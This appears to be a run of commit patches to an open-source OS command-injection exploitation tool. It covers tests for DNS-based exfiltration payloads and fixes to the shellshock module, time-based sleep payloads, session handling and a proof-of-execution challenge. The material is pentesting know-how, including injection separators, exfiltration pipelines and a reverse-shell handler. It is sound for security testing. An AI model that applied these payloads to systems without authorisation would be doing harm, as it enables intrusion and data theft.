queries captured") + self.assertEqual(_reassemble(names), "hello") + + def test_xargs_multiword_output(self): + cmd = payloads.dns_exfil_command(HOSTNAME, "echo 'foo bar baz'", "&") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + self.assertEqual(_reassemble(names), "foo bar baz") + + def test_xargs_multichunk_output(self): + # 40 'B' chars → 80 hex chars → 2 chunks (60 + 20) + cmd = payloads.dns_exfil_command( + HOSTNAME, "printf '%s' 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'", "&" + ) + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + self.assertEqual(_reassemble(names), "B" * 40) + + def test_xargs_labels_carry_plain_index(self): + # xargs format: label0 should be a plain integer, no dash-separator + from src.core.oob.interactsh import Interactsh + client = Interactsh.__new__(Interactsh) + client.correlation_id = CORR_ID + client.domain = "test.local" + cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "&") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + for name in names: + itr = Interaction(protocol="dns", identifier=name, raw_request="") + if client._token_of(itr) == TOKEN: + labels = client.data_of(itr) + if labels: + _, _, count = labels[0].partition("-") + # count is empty → no total embedded in label + self.assertFalse(count.isdigit(), + "xargs label should not carry a total: %r" % labels[0]) + + def test_xargs_hex_labels_are_valid_hex(self): + cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "&") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + from src.core.oob.interactsh import Interactsh + client = Interactsh.__new__(Interactsh) + client.correlation_id = CORR_ID + client.domain = "test.local" + for name in names: + itr = Interaction(protocol="dns", identifier=name, raw_request="") + if client._token_of(itr) == TOKEN: + hex_data = "".join(client.data_of(itr)[1:]) + self.assertEqual(len(hex_data) % 2, 0, + "odd-length hex chunk: %r" % hex_data) + binascii.unhexlify(hex_data) # must not raise + + # --- loop format (separator ';'): labels carry index-total ------------- + + def test_loop_single_chunk_ascii_round_trip(self): + cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", ";") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + self.assertEqual(_reassemble(names), "hello") + + def test_loop_labels_carry_total(self): + from src.core.oob.interactsh import Interactsh + client = Interactsh.__new__(Interactsh) + client.correlation_id = CORR_ID + client.domain = "test.local" + cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", ";") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + found_total = False + for name in names: + itr = Interaction(protocol="dns", identifier=name, raw_request="") + if client._token_of(itr) == TOKEN: + labels = client.data_of(itr) + if labels: + _, _, count = labels[0].partition("-") + if count.isdigit(): + found_total = True + break + self.assertTrue(found_total, "no loop-format label with total found in %r" % names) + + def test_loop_multichunk_output(self): + cmd = payloads.dns_exfil_command( + HOSTNAME, "printf '%s' 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC'", ";" + ) + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + self.assertEqual(_reassemble(names), "C" * 40) + + def test_loop_chunk_count_consistent_across_labels(self): + # All labels for one command run must agree on the total chunk count. + from src.core.oob.interactsh import Interactsh + client = Interactsh.__new__(Interactsh) + client.correlation_id = CORR_ID + client.domain = "test.local" + cmd = payloads.dns_exfil_command( + HOSTNAME, "printf '%s' 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'", ";" + ) + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + totals = set() + for name in names: + itr = Interaction(protocol="dns", identifier=name, raw_request="") + if client._token_of(itr) == TOKEN: + labels = client.data_of(itr) + if labels: + _, _, count = labels[0].partition("-") + if count.isdigit(): + totals.add(int(count)) + self.assertEqual(len(totals), 1, + "labels disagreed on chunk total: %r" % totals) + + # --- hostname embedding ------------------------------------------------ + + def test_queries_embed_corr_id_and_token(self): + # Every captured query name must contain the correlation id + token. + cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "&") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + for name in names: + self.assertIn(CORR_ID + TOKEN, name, + "corr+token not found in %r" % name) + + + # --- newline separator (\n): loop path, same label format as ';' ------- + + def test_newline_loop_format_round_trip(self): + cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "\n") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + self.assertEqual(_reassemble(names), "hello") + + def test_newline_loop_labels_carry_total(self): + from src.core.oob.interactsh import Interactsh + client = Interactsh.__new__(Interactsh) + client.correlation_id = CORR_ID + client.domain = "test.local" + cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "\n") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + found = any( + client._token_of(Interaction(protocol="dns", identifier=n, raw_request="")) == TOKEN + and any( + c.isdigit() + for c in (client.data_of(Interaction(protocol="dns", identifier=n, raw_request=""))[0].partition("-")[2] or "") + ) + for n in names + ) + self.assertTrue(found, "no \\n-separator label with total found in %r" % names) + + # --- pipe separator (|): xargs path, single-pipe lookup chain ---------- + + def test_pipe_xargs_format_round_trip(self): + cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "|") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + self.assertEqual(_reassemble(names), "hello") + + def test_pipe_xargs_labels_carry_plain_index(self): + from src.core.oob.interactsh import Interactsh + client = Interactsh.__new__(Interactsh) + client.correlation_id = CORR_ID + client.domain = "test.local" + cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "|") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + for name in names: + itr = Interaction(protocol="dns", identifier=name, raw_request="") + if client._token_of(itr) == TOKEN: + labels = client.data_of(itr) + if labels: + _, _, count = labels[0].partition("-") + self.assertFalse(count.isdigit(), + "pipe-separator label should not carry total: %r" % labels[0]) + + # --- OOB_EVAL: inner DNS command embedded in eval grammar wrapper ------- + + def test_oob_eval_inner_command_round_trip(self): + # exfiltrate_eval wraps the DNS pipeline in the eval-grammar's print + # statement (PHP by default: print(`...`);). The backtick content is + # the same shell pipeline as the non-eval path. Extract and run it. + payload = payloads.exfiltrate_eval(";", "dns", HOSTNAME, "echo hello") + self.assertIn("`", payload, "eval wrapper not present: %r" % payload[:60]) + inner_cmd = payload.split("`")[1] + self._run(inner_cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + self.assertEqual(_reassemble(names), "hello") + + def test_oob_eval_wrapper_does_not_alter_dns_queries(self): + # Queries from the eval path and the plain path must be identical. + from src.core.oob.interactsh import Interactsh + client = Interactsh.__new__(Interactsh) + client.correlation_id = CORR_ID + client.domain = "test.local" + + # exfiltrate_eval wraps exfiltrate("", ...) — use the same separator so + # both commands are runnable standalone (the ";" variant produces a + # leading-semicolon injection fragment, not a plain shell script). + plain_cmd = payloads.exfiltrate("", "dns", HOSTNAME, "echo hello") + self._run(plain_cmd) + plain_names = set(self._stub.drain()) + + eval_payload = payloads.exfiltrate_eval(";", "dns", HOSTNAME, "echo hello") + inner_cmd = eval_payload.split("`")[1] + self._run(inner_cmd) + eval_names = set(self._stub.drain()) + + # Both runs must produce labels that carry the same decoded output. + self.assertEqual(_reassemble(list(plain_names)), "hello") + self.assertEqual(_reassemble(list(eval_names)), "hello") + + +if __name__ == "__main__": + unittest.main() From b0adf565b36c203e4829bf3d19cfce78f75cf6f1 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 29 Oct 2026 10:30:04 +0200 Subject: [PATCH 0937/1023] Fixed session resumption and out-of-band probing for the `shellshock` module. --- src/core/modules/shellshock/shellshock.py | 4 ++-- src/utils/session_handler.py | 4 ++-- src/utils/settings.py | 5 ++++- 3 files changed, 8 insertions(+), 5 deletions(-) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 1c45381e24..3db2243383 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -99,7 +99,7 @@ def _oob_probe(url, testable_headers): channel = checks.init_oob_channel() if channel is None: - return None, None + return None, None, "" for transport in oob_payloads.transports(): fired = [] sent = {} @@ -221,7 +221,7 @@ def shellshock_handler(url, http_request_method, filename): injection_type = "results-based command injection" # Not an injection technique like the others - it's the 'shellshock' module. - technique = "shellshock module" + technique = settings.SHELLSHOCK_TECHNIQUE try: # Resume everything at once and quit, like the core engine's LOAD_SESSION path. diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 0c9277bfe2..fd559956e0 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -360,7 +360,7 @@ def get_all_stored_shellshock(url, http_request_method): clause, url_params = url_match(url) query = ("SELECT http_header, payload FROM \"" + table + "\" WHERE " + clause + " AND " "technique = ? AND http_request_method = ?;") - cursor = conn.execute(query, url_params + ("shellshock injection technique", http_request_method)) + cursor = conn.execute(query, url_params + (settings.SHELLSHOCK_TECHNIQUE, http_request_method)) found = [(row[0], row[1]) for row in cursor.fetchall()] return found except Exception: @@ -379,7 +379,7 @@ def has_stored_shellshock(url): return False clause, url_params = url_match(url) query = "SELECT 1 FROM \"" + table + "\" WHERE " + clause + " AND technique = ? LIMIT 1;" - cursor = conn.execute(query, url_params + ("shellshock injection technique",)) + cursor = conn.execute(query, url_params + (settings.SHELLSHOCK_TECHNIQUE,)) return cursor.fetchone() is not None except Exception: return False diff --git a/src/utils/settings.py b/src/utils/settings.py index bec7eebb41..f6b651672e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "265" +REVISION = "266" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1371,6 +1371,9 @@ class INJECTION_TECHNIQUE(object): # How many of a sweep's first combinations are polled for eagerly, instead of waiting out the # interval. The likeliest boundary comes first, so this usually ends the sweep after a few probes. OOB_EAGER_POLLS = 3 +# What the 'shellshock' module reports and stores its findings under, read back by the session the same way. +SHELLSHOCK_TECHNIQUE = "shellshock module" + SHELLSHOCK_OOB = False # Set where the module is confirmed but the target hands nothing back, so the output is read off the From d61e854f4032a3907a6f16ed7dfeb29c1682a070 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 29 Oct 2026 15:39:43 +0200 Subject: [PATCH 0938/1023] Fixed the false-positive check could reject a confirmed injection point; a failed shell launch was reported as a fatal error --- src/core/controller/handler.py | 8 +++----- src/core/controller/injector.py | 4 ++-- src/core/controller/shell_options.py | 4 ++-- src/core/techniques/time_based/tb_injector.py | 10 +++++++--- src/core/techniques/time_based/tb_payloads.py | 15 ++++++--------- src/utils/settings.py | 4 ++-- 6 files changed, 22 insertions(+), 23 deletions(-) diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index a22396b4ba..19f6082798 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -284,7 +284,7 @@ def pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_c # execute_cmd() itself is responsible for logging the executed command. shell = execute_cmd(cmd) if shell: - settings.command_execution_output("Execution output", shell) + settings.command_execution_output(shell) else: err_msg = common.invalid_cmd_output(cmd) settings.print_data_to_stdout(settings.print_error_msg(err_msg)) @@ -1271,10 +1271,8 @@ def _control_answers_on_time(): # Check for false positive results - silent, since this is a per-technique gate on # whether to accept/retry the finding, not the one false-positive check reported to # the user; that is settings.CHECKING_PARAMETER's own, asked once at the very end. - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - exec_time, output = injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES, silent=True) - else: - exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES, silent=True) + # The time-based technique has no output file of its own, and carries the empty one set above. + exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES, silent=True) if checks.time_related_shell(exec_time, timesec): if str(output) == str(randvcalc) and len(TAG) == output_length: diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index 54fb8e437a..446ffb4c37 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -1350,8 +1350,8 @@ def _retry_confirm(payload): cmd = previous_cmd output = [] - # The verified value is always in 1-7 (see handler.py's randv1/randv2 ranges). - for ascii_char in range(1, 8): + # The verified value is in 1-7 (see handler.py's randv1/randv2 ranges), or a single digit under '--skip-calc'. + for ascii_char in (range(0, 10) if settings.SKIP_CALC else range(1, 8)): if show_dots and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(".") if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: diff --git a/src/core/controller/shell_options.py b/src/core/controller/shell_options.py index 0a90594f8a..012db428b7 100755 --- a/src/core/controller/shell_options.py +++ b/src/core/controller/shell_options.py @@ -68,7 +68,7 @@ def _report_send_failure(send_result): elif send_result.get("shell"): info_msg = "The target returned output for the payload (usually the interpreter's own error):" settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - settings.print_data_to_stdout(settings.command_execution_output(send_result["shell"])) + settings.command_execution_output(send_result["shell"]) """ Reports a bind shell that never came up, plus whatever the backgrounded send has to say about it. @@ -239,7 +239,7 @@ def launch(cmd): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) shell = _execute_shell_launch(execute_cmd, cmd, filename, url) if shell: - settings.print_data_to_stdout(settings.command_execution_output(shell)) + settings.command_execution_output(shell) else: info_msg = "Started reverse TCP handler on " + settings.LHOST + ":" + settings.LPORT + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) diff --git a/src/core/techniques/time_based/tb_injector.py b/src/core/techniques/time_based/tb_injector.py index 68a828f63c..0a3839900c 100755 --- a/src/core/techniques/time_based/tb_injector.py +++ b/src/core/techniques/time_based/tb_injector.py @@ -29,8 +29,12 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ False Positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None, silent=False): - OUTPUT_TEXTFILE = "" - return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt, retry_total, silent) +def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None, silent=False): + # Named the way the caller calls it and the way the tempfile-based one beside it is named: taking + # the boundary in another order and without the output file, every call raised before it arrived, + # and the technique's own confirmation was thrown away with the exception. + # + # The technique has no output file of its own, so the empty one it is handed is what goes on. + return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, "", randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt, retry_total, silent) # eof diff --git a/src/core/techniques/time_based/tb_payloads.py b/src/core/techniques/time_based/tb_payloads.py index e6fe4068a9..66c90ab7a7 100755 --- a/src/core/techniques/time_based/tb_payloads.py +++ b/src/core/techniques/time_based/tb_payloads.py @@ -14,7 +14,6 @@ """ import re -import random from src.utils import settings from src.core.controller import checks @@ -206,16 +205,14 @@ def decision(separator, TAG, output_length, timesec, http_request_method): """ Measured and delayed on in the one command, so neither of these has to chain anything. - A number read straight back, rather than the length of the marker: the shell has to run the - substitution for the two sides to match, which is what the length check proved too, and this - asks nothing of the target beyond its own 'echo'. Detection is where that matters - a shell - without 'awk' would otherwise answer nothing here, and answering nothing reads as not - injectable rather than as a tool that could not ask. + The length asked about is what the two sides are compared on. A marker compared against itself + answered the same way whatever length it was asked about, so the control question - the same + one asked about a length the output cannot have - waited just as long as the real one, and a + target running the payload was read as a slow target rather than an injectable one. """ - marker = random.randint(10000, 99999) payload = (separator + - "sleep $((" + str(timesec) + "*(" + str(marker) + "==" + - _output_word("echo " + str(marker)) + ")))" + "sleep $((" + str(timesec) + "*(" + str(output_length) + "==" + + _output_word("echo " + str(len(TAG))) + ")))" ) elif separator == "&": # Backticks cannot nest, so the measurement is carried in a variable here - which '&' cannot diff --git a/src/utils/settings.py b/src/utils/settings.py index f6b651672e..c4d1b39685 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -316,7 +316,7 @@ def _row(cells): return END_LINE.LF.join(lines) # Print output of command execution -def command_execution_output(label, shell): +def command_execution_output(shell): print_data_to_stdout(print_retrieved_data("Execution output", shell)) return shell @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "266" +REVISION = "267" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 605539298e4c0265e1a5785b58e9a89ac47a1a39 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 30 Oct 2026 06:19:06 +0200 Subject: [PATCH 0939/1023] Fixed handling of a request file or proxy log, where the content type, a header and a JSON body could be altered before the request was sent --- src/core/parse/request.py | 6 +++--- src/core/requests/headers.py | 4 +++- src/utils/settings.py | 2 +- 3 files changed, 7 insertions(+), 5 deletions(-) diff --git a/src/core/parse/request.py b/src/core/parse/request.py index fa9d84f64e..a7171e664f 100755 --- a/src/core/parse/request.py +++ b/src/core/parse/request.py @@ -23,7 +23,6 @@ from src.thirdparty.odict import OrderedDict from src.core.controller import checks from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.flatten_json.flatten_json import unflatten_list """ Extract a single header's value from a raw "Name: value" line, or None if it's a different header. @@ -189,7 +188,7 @@ def _parse_request(request, request_file): if re.search(settings.JSON_RECOGNITION_REGEX, target["data"]) or re.search(settings.JSON_LIKE_RECOGNITION_REGEX, target["data"]): try: parsed = json.loads(target["data"], object_pairs_hook=OrderedDict) - target["data"] = json.dumps(unflatten_list(parsed), indent=2, ensure_ascii=False) + target["data"] = json.dumps(parsed, indent=2, ensure_ascii=False) except Exception: pass target["raw_headers"] = settings.END_LINE.ESCAPED_LF.join(request_headers) @@ -253,7 +252,8 @@ def _parse_request(request, request_file): # Add extra headers else: - match = re.match(r"(.*): (.*)", line) + # The name ends at the first colon, so a value carrying one of its own survives whole. + match = re.match(r"([^:\s]+):[ \t]*(.*)", line) # Ignore some headers. if match and match.group(1).lower() not in [_.lower() for _ in (settings.CONTENT_LENGTH, settings.ACCEPT_ENCODING, \ settings.CONNECTION, settings.PROXY_CONNECTION, settings.IF_MODIFIED_SINCE, settings.IF_NONE_MATCH)]: diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index cfbb1511bd..4f145e395f 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -713,7 +713,9 @@ def do_check(request): request.add_header(settings.ACCEPT, settings.ACCEPT_VALUE) - if not checks.get_header(request.headers, settings.CONTENT_TYPE): + # One the target's own request carries is applied further below, and an unredirected default would override it. + supplied_headers = str(menu.options.headers or "") + str(menu.options.header or "") + str(settings.RAW_HTTP_HEADERS or "") + if not checks.get_header(request.headers, settings.CONTENT_TYPE) and settings.CONTENT_TYPE.lower() not in supplied_headers.lower(): request.add_unredirected_header(settings.CONTENT_TYPE, settings.DEFAULT_HTTP_CONTENT_TYPE_VALUE) # The MIME media type for JSON. diff --git a/src/utils/settings.py b/src/utils/settings.py index c4d1b39685..ba1a3cb24f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "267" +REVISION = "268" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7ff461ce8d44751d8b549f3ea1ef69786843330e Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 30 Oct 2026 06:21:06 +0200 Subject: [PATCH 0940/1023] Fixed the parameter sweep could re-test an excluded POST body; the delay between requests could stay raised for the rest of the run. --- src/core/controller/controller.py | 13 ++++++------- src/core/requests/stability.py | 5 +---- src/core/techniques/time_based/tb_handler.py | 3 --- src/utils/settings.py | 5 +---- 4 files changed, 8 insertions(+), 18 deletions(-) diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index f2aef64bc5..1583d2b313 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1562,15 +1562,14 @@ def data_checks(url, http_request_method, filename, timesec): settings.CUSTOM_HEADER_INJECTION = False init_cookie_injection_status() + # Neither sweep reports back, so both are run rather than one gating the other. if settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: - if post_request(url, http_request_method, filename, timesec) is None: - if not settings.SKIP_NON_CUSTOM_PARAMS: - get_request(url, http_request_method, filename, timesec) + post_request(url, http_request_method, filename, timesec) + if not settings.SKIP_NON_CUSTOM_PARAMS: + get_request(url, http_request_method, filename, timesec) else: - if get_request(url, http_request_method, filename, timesec) is None: - if settings.USER_DEFINED_POST_DATA: - if not settings.SKIP_NON_CUSTOM_PARAMS: - post_request(url, http_request_method, filename, timesec) + # The POST body is either absent or not the one under test, so only the URL is swept. + get_request(url, http_request_method, filename, timesec) """ Perform checks over cookie values. diff --git a/src/core/requests/stability.py b/src/core/requests/stability.py index 61341e9357..6e8f2af241 100644 --- a/src/core/requests/stability.py +++ b/src/core/requests/stability.py @@ -53,11 +53,8 @@ def connection_error_budget_exhausted(): A time-related technique measures the very delay this changes, so it is left alone while one runs. """ def adapt_delay(blocked): - if settings.ADAPTIVE_DELAY_FROZEN: - return if settings.TIME_RELATED_ATTACK: - # Freezing here, rather than skipping, keeps the baseline and the measurements comparable. - settings.ADAPTIVE_DELAY_FROZEN = True + # Left alone only while one runs, so its baseline and its measurements stay comparable. return if blocked: diff --git a/src/core/techniques/time_based/tb_handler.py b/src/core/techniques/time_based/tb_handler.py index 4b0c7d504f..fcb8d7d55d 100755 --- a/src/core/techniques/time_based/tb_handler.py +++ b/src/core/techniques/time_based/tb_handler.py @@ -39,10 +39,7 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, tmp_path = "" if url_time_response >= settings.SLOW_TARGET_RESPONSE: settings.RESPONSE_DELAYS = True - go_back = False while True: - if go_back is True: - return False message = "High response delays make time-related techniques unreliable. " message += "How do you want to proceed? [(C)ontinue/(s)kip] " proceed_option = common.read_input(message, default="C", check_batch=True) diff --git a/src/utils/settings.py b/src/utils/settings.py index ba1a3cb24f..746f48c8f6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "268" +REVISION = "269" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -2138,9 +2138,6 @@ class PRIORITY(object): # Seconds added to the delay between requests, when the target answers as if it has had enough. ADAPTIVE_DELAY = 0 -# The delay stops moving once a time-related technique depends on it, since a delay that changed -# between the baseline and the measurements would read as the delay the payload was asked for. -ADAPTIVE_DELAY_FROZEN = False # Where the backing off stops, and how many answered requests it takes to give a second back. MAX_ADAPTIVE_DELAY = 8 ADAPTIVE_DELAY_RECOVERY = 10 From 620ec53cf64c7ab65f747e4d50a5114ce388f475 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 30 Oct 2026 06:25:09 +0200 Subject: [PATCH 0941/1023] Fixed the injection level restored from a session and the verdict of `--proof` --- src/core/controller/proof.py | 10 ++++++++-- src/utils/session_handler.py | 18 +++++++++++------- src/utils/settings.py | 2 +- 3 files changed, 20 insertions(+), 10 deletions(-) diff --git a/src/core/controller/proof.py b/src/core/controller/proof.py index cb113491cc..d0974a1842 100644 --- a/src/core/controller/proof.py +++ b/src/core/controller/proof.py @@ -114,8 +114,14 @@ def _challenge(execute_cmd, technique): marker = "".join(random.choice(string.ascii_uppercase) for _ in range(6)) # Bracketed by a marker, so the answer cannot be mistaken for a number occurring anywhere else. cmd = "echo " + marker + "$((" + str(first) + "+" + str(second) + "))" + marker + needle = marker + expected + marker if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = "set /a " + str(first) + "+" + str(second) + if settings.PS_ENABLED: + cmd = "powershell.exe -InputFormat none write ('" + marker + "'+(" + str(first) + "+" + str(second) + ")+'" + marker + "')" + else: + # 'set /a' writes the sum on its own, so there is nothing here to bracket it with. + cmd = "set /a " + str(first) + "+" + str(second) + needle = expected started = settings.TOTAL_OF_REQUESTS elapsed = time.time() @@ -126,7 +132,7 @@ def _challenge(execute_cmd, technique): elapsed = time.time() - elapsed answer = "".join(str(_) for _ in answer) if answer else "" - carried = expected in answer + carried = needle in answer lines = ["The target must work out " + str(first) + " + " + str(second) + " = " + expected + ", drawn at random after the scan started.", "(the product is in no page, cache or reflection - only something that executes could return it.)", "sent: " + cmd, diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index fd559956e0..af01e84d07 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -415,7 +415,6 @@ def applied_techniques(url, http_request_method): """ def applied_levels(url, http_request_method): level = settings.DEFAULT_INJECTION_LEVEL - http_header = None try: with _session_connection() as conn: table = table_name(url) + "_ip" @@ -423,14 +422,19 @@ def applied_levels(url, http_request_method): clause, url_params = url_match(url) query = "SELECT http_header, is_vulnerable FROM \"" + table + "\" WHERE " + clause + " AND http_request_method = ?;" cursor = conn.execute(query, url_params + (http_request_method,)).fetchall() + # The highest any stored point was reached at, since testing there covers the ones below it. for session in cursor: http_header = session[0] - level = int(session[1]) - if http_header: - if http_header == settings.COOKIE.lower(): - level = settings.COOKIE_INJECTION_LEVEL - else: - level = settings.HTTP_HEADER_INJECTION_LEVEL + if http_header: + if http_header == settings.COOKIE.lower(): + stored_level = settings.COOKIE_INJECTION_LEVEL + else: + stored_level = settings.HTTP_HEADER_INJECTION_LEVEL + elif str(session[1]).isdigit(): + stored_level = int(session[1]) + else: + stored_level = settings.DEFAULT_INJECTION_LEVEL + level = max(level, stored_level) return level except Exception: settings.LOAD_SESSION = None diff --git a/src/utils/settings.py b/src/utils/settings.py index 746f48c8f6..437ed65ad2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "269" +REVISION = "270" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a757cf2609cb279d92ea2ff1b96fad894dc8f49a Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 30 Oct 2026 06:25:48 +0200 Subject: [PATCH 0942/1023] Fixed reading of an uncommon output character, which could come back marked as unreadable --- .../techniques/boolean_based/bb_handler.py | 19 ++++++++++++++----- src/utils/settings.py | 4 +++- 2 files changed, 17 insertions(+), 6 deletions(-) diff --git a/src/core/techniques/boolean_based/bb_handler.py b/src/core/techniques/boolean_based/bb_handler.py index f4e9dd27fa..193fc6f12b 100644 --- a/src/core/techniques/boolean_based/bb_handler.py +++ b/src/core/techniques/boolean_based/bb_handler.py @@ -159,7 +159,7 @@ def _byte_at(channel, cmd, position, payloads=None): # byte inside the pool from one above it, and that is true of a pool with no gaps as much as any. if high - low + 1 == len(char_pool): candidate = _bisect(channel, question, low, high) - return _confirmed(channel, cmd, position, payloads, candidate, high) + return _confirmed(channel, cmd, position, payloads, candidate, low, high) # Otherwise the gaps would be halved away too, which costs more questions than the pool has # characters. The members themselves are halved instead - log2 of their number rather than of the # span they are spread over - and one more question confirms the character found is the output's @@ -173,7 +173,7 @@ def _byte_at(channel, cmd, position, payloads=None): # skipped over. Found the long way rather than given up on: a charset is a statement about what # the output is mostly made of, and a character it did not account for is still worth reading. candidate = _bisect(channel, question, low, high) - return _confirmed(channel, cmd, position, payloads, candidate, high) + return _confirmed(channel, cmd, position, payloads, candidate, low, high) """ The answer, once it has been asked for by name rather than by range. @@ -183,18 +183,27 @@ def _byte_at(channel, cmd, position, payloads=None): a wrong answer wearing the shape of a right one. Confirming it costs one question, and where it fails the byte is looked for in the range it can still be: output is mostly ASCII, which is why the pool stops there, but a byte that is not is worth reading rather than reporting as a 